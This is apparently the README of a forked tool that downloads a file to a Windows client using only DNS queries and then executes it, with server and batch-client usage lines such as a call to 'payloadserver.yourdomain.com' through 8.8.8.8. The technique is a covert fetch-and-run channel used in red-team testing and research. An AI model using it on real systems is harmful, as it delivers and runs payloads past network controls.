Use only DNS queries to download a file, and then execute it.
On the server hosting the file (tested with python2):
sudo python server.py -f /path/to/file
On the Windows client with batch script:
client\client_batch\runme.bat payloadserverhostname fileparts publicdnsserver
Example: client\client_batch\runme.bat payloadserver.yourdomain.com 42 8.8.8.8
If just testing internally, you can use the following example:
client\client_batch\runme.bat payloadserverhostname fileparts payloadserverIPaddr
Original author: Stephen Breen - https://github.com/breenmachine/dnsftp
Forked and modified by: Daniel Vinakovsky